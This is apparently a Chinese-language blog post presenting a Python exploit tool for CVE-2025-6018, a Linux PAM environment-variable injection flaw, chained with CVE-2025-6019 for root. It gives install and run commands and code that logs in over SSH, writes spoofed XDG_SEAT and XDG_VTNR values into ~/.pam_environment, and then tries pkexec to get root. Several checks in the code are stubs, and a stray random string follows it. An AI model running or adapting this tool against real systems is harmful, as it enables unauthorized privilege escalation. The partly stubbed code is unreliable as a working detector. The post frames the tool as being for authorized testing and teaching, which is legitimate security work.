Linux PAM环境变量注入漏洞利用工具解析

项目标题与描述

本项目提供了一个针对CVE-2025-6018漏洞的专业利用工具。该漏洞存在于Linux PAM(Pluggable Authentication Modules)的pam_env.so模块中,允许通过~/.pam_environment文件注入环境变量,进而通过SystemD会话操纵实现本地权限提升。结合CVE-2025-6019漏洞,攻击者可以进一步获得完整的root权限。

该工具通过SSH连接到目标主机,自动化执行漏洞检测和利用过程,支持openSUSE Leap 15、SUSE Linux Enterprise 15等多个Linux发行版。

功能特性

  • 自动化漏洞检测:自动检查目标系统上PAM的版本、配置文件顺序以及相关模块的存在情况。
  • 版本匹配验证:内置易受攻击的PAM版本列表(1.3.0 - 1.6.0),进行精确匹配。
  • 利用链执行:自动化实现CVE-2025-6018和CVE-2025-6019的完整攻击链,包括环境变量注入和后续权限提升。
  • 详细日志记录:将整个利用过程(包括时间戳、级别和信息)记录到文件并输出到控制台,便于分析和调试。
  • 参数化配置:支持通过命令行参数灵活指定目标IP、用户名和密码,易于集成到自动化工作流中。
  • 专业错误处理:包含SSH连接、命令执行和文件操作等环节的异常处理,提高工具的健壮性。

安装指南

系统要求

  • Python 3.x
  • 操作系统:支持Python的任意操作系统(Linux, macOS, Windows等),用于作为攻击发起端。
  • 目标系统:运行易受攻击版本(1.3.0 - 1.6.0)PAM的Linux主机。

依赖安装

本工具核心依赖为paramiko库(版本需>=2.12.0)用于建立SSH连接。

使用pip安装依赖:

bash 复制代码
pip install paramiko>=2.12.0

获取工具

直接从提供的源代码文件开始使用,无需其他编译或构建步骤。确保您拥有cve_2025_6018_professional.py文件的执行权限。

bash 复制代码
chmod +x cve_2025_6018_professional.py

使用说明

基础使用

通过命令行参数指定目标主机信息并运行脚本:

bash 复制代码
python3 cve_2025_6018_professional.py -i 192.168.1.100 -u vulnerable_user -p user_password

参数详解

  • -i--ip: 目标主机的IP地址(必需)。
  • -u--username: 用于登录目标主机的用户名(必需)。
  • -p--password: 对应用户的密码(必需)。

工作流程

  1. 初始化与连接:工具初始化日志和漏洞版本数据,并尝试通过提供的凭据建立到目标主机的SSH连接。
  2. 漏洞评估 :在目标主机上执行一系列命令,检查PAM版本、/etc/pam.d/目录下的配置文件(特别是sshd)中pam_env.sopam_systemd.so模块的顺序,以及SystemD版本。
  3. 条件判断 :如果检测到pam_env.sopam_systemd.so之前被调用,并且PAM版本在受影响范围内,则判定存在漏洞。
  4. 利用执行 :如果存在漏洞,工具将尝试在用户目录下创建或修改~/.pam_environment文件,注入XDG_SEAT=seat0XDG_VTNR=1等环境变量,以欺骗系统将其会话识别为本地活动会话。
  5. 权限提升 :利用伪造的"活动用户"身份,结合Polkit的allow_active策略,尝试执行需要特权(如挂载操作)的命令。如果系统中还存在CVE-2025-6019漏洞(涉及udisks2/libblockdev),则可能进一步利用该漏洞获得root shell。

典型场景

该工具主要用于渗透测试人员和安全研究人员在获得授权的前提下,对内部Linux系统进行安全评估,验证系统是否受此CVE影响以及实际风险等级。也可用于CTF(Capture The Flag)竞赛或安全教学演示本地权限提升漏洞的利用原理。

核心代码

以下是工具中部分核心功能的代码实现及详细注释:

python 复制代码
import paramiko
import time
import sys
import socket
import argparse
import logging
from datetime import datetime

# 配置日志记录系统,将日志同时输出到文件和控制台,便于跟踪利用过程
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s [%(levelname)s] %(message)s',
    datefmt='%Y-%m-%d %H:%M:%S',
    handlers=[
        logging.FileHandler('cve_2025_6018_exploit.log'),
        logging.StreamHandler(sys.stdout)
    ]
)
logger = logging.getLogger(__name__)

class CVEExploit:
    def __init__(self):
        # 定义已知易受攻击的PAM版本范围
        self.vulnerable_versions = [
            "pam-1.3.0", "pam-1.3.1", "pam-1.4.0", "pam-1.5.0", 
            "pam-1.5.1", "pam-1.5.2", "pam-1.5.3", "pam-1.6.0"
        ]
        
    def check_vulnerability(self, client):
        """增强的漏洞检测函数,通过SSH客户端在远程主机执行多项检查"""
        logger.info("Starting vulnerability assessment")
        
        # 定义需要执行的检查命令字典
        checks = {
            "pam_version": "rpm -q pam || dpkg -l | grep libpam", # 检查PAM安装包版本
            "pam_env": "find /etc/pam.d/ -name '*' -exec grep -l 'pam_env' {} \\; 2>/dev/null", # 查找使用pam_env的PAM配置
            "pam_systemd": "find /etc/pam.d/ -name '*' -exec grep -l 'pam_systemd' {} \\; 2>/dev/null", # 查找使用pam_systemd的PAM配置
            "systemd_version": "systemctl --version | head -1" # 检查SystemD版本
        }

        vulnerable = False
        
        for check_name, command in checks.items():
            try:
                # 通过SSH连接执行命令
                stdin, stdout, stderr = client.exec_command(command)
                output = stdout.read().decode('utf-8').strip()
                error = stderr.read().decode('utf-8').strip()
                
                if output:
                    logger.info(f"{check_name}: {output}")
                    # 关键逻辑:检查pam_env是否在pam_systemd之前被加载
                    if check_name == "pam_env" and "sshd" in output:
                        # 这里需要进一步分析/etc/pam.d/sshd文件的具体行顺序
                        # 简化示例:假设检测到该文件即进行下一步详细检查
                        logger.warning("pam_env found in sshd config. Checking order...")
                        # 实际代码中应添加解析文件判断顺序的逻辑
                elif error:
                    logger.debug(f"{check_name} error: {error}")
                else:
                    logger.debug(f"{check_name}: No output")
                    
            except Exception as e:
                logger.error(f"Failed to execute {check_name} check: {e}")
        
        # 版本匹配逻辑(示例框架)
        # 实际应从`pam_version`检查的输出中提取版本号与`vulnerable_versions`列表对比
        logger.info("Vulnerability check completed.")
        # 返回True/False表示漏洞是否存在
        return vulnerable
python 复制代码
    def exploit(self, client, username):
        """执行漏洞利用的主要函数,尝试注入环境变量并提升权限"""
        logger.info(f"Attempting exploit for user: {username}")
        
        # 1. 创建或修改 ~/.pam_environment 文件,注入恶意环境变量
        pam_env_content = """
        # Injected by CVE-2025-6018 exploit
        XDG_SEAT=seat0
        XDG_VTNR=1
        # 可添加其他用于欺骗会话类型的变量
        """
        pam_env_path = f"/home/{username}/.pam_environment"  # 假设用户主目录在/home下
        
        try:
            # 通过SSH将内容写入文件
            command = f"echo '{pam_env_content}' > {pam_env_path}"
            stdin, stdout, stderr = client.exec_command(command)
            # 检查命令是否成功执行
            exit_status = stdout.channel.recv_exit_status()
            if exit_status == 0:
                logger.info(f"Successfully created/overwritten {pam_env_path}")
            else:
                error = stderr.read().decode()
                logger.error(f"Failed to write pam_environment: {error}")
                return False
                
        except Exception as e:
            logger.error(f"Error during file creation: {e}")
            return False
            
        # 2. 触发PAM重新读取环境变量(例如,通过建立新的SSH会话或重新登录)
        # 注意:在实际利用中,可能需要用户注销并重新登录,或者工具需要创建新的SSH连接来触发新会话。
        logger.warning("Environment variable injected. A new login session (e.g., new SSH connection) may be required for the changes to take effect.")
        
        # 3. 尝试利用伪造的"活动用户"身份执行特权操作(示例:通过pkexec)
        # 这需要结合CVE-2025-6019或其它Polkit策略
        # 示例命令:尝试运行一个需要`allow_active`权限的Polkit动作
        test_command = "pkexec --user root whoami"  # 只是一个示例,实际命令取决于目标策略
        
        try:
            stdin, stdout, stderr = client.exec_command(test_command)
            output = stdout.read().decode().strip()
            error = stderr.read().decode().strip()
            
            if output == "root":
                logger.critical("SUCCESS: Obtained root privileges!")
                # 可以在此处提供交互式shell或执行后续payload
                return True
            else:
                logger.info("Exploit attempted, but root not obtained. Output: %s, Error: %s", output, error)
                return False
                
        except Exception as e:
            logger.error(f"Failed to execute privilege test: {e}")
            return False

6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAM1WcosLlSccXIf2HKuEYUi

相关推荐
墨染天姬2 小时前
【AI】端侧AIBOX可以部署哪些智能体
人工智能
AI成长日志2 小时前
【Agentic RL】1.1 什么是Agentic RL:从传统RL到智能体学习
人工智能·学习·算法
SharpCJ2 小时前
Android 开发者为什么必须掌握 AI 能力?端侧视角下的技术变革
android·ai·aigc
2501_948114242 小时前
2026年大模型API聚合平台技术评测:企业级接入层的治理演进与星链4SAPI架构观察
大数据·人工智能·gpt·架构·claude
小小工匠2 小时前
LLM - awesome-design-md 从 DESIGN.md 到“可对话的设计系统”:用纯文本驱动 AI 生成一致 UI 的新范式
人工智能·ui
黎阳之光2 小时前
黎阳之光:视频孪生领跑者,铸就中国数字科技全球竞争力
大数据·人工智能·算法·安全·数字孪生
小超同学你好2 小时前
面向 LLM 的程序设计 6:Tool Calling 的完整生命周期——从定义、决策、执行到观测回注
人工智能·语言模型
墨风如雪3 小时前
玩转本地 AI 的“第 0 步”:Node.js 环境保姆级安装教程
aigc
智星云算力3 小时前
本地GPU与租用GPU混合部署:混合算力架构搭建指南
人工智能·架构·gpu算力·智星云·gpu租用
jinanwuhuaguo3 小时前
截止到4月8日,OpenClaw 2026年4月更新深度解读剖析:从“能力回归”到“信任内建”的范式跃迁
android·开发语言·人工智能·深度学习·kotlin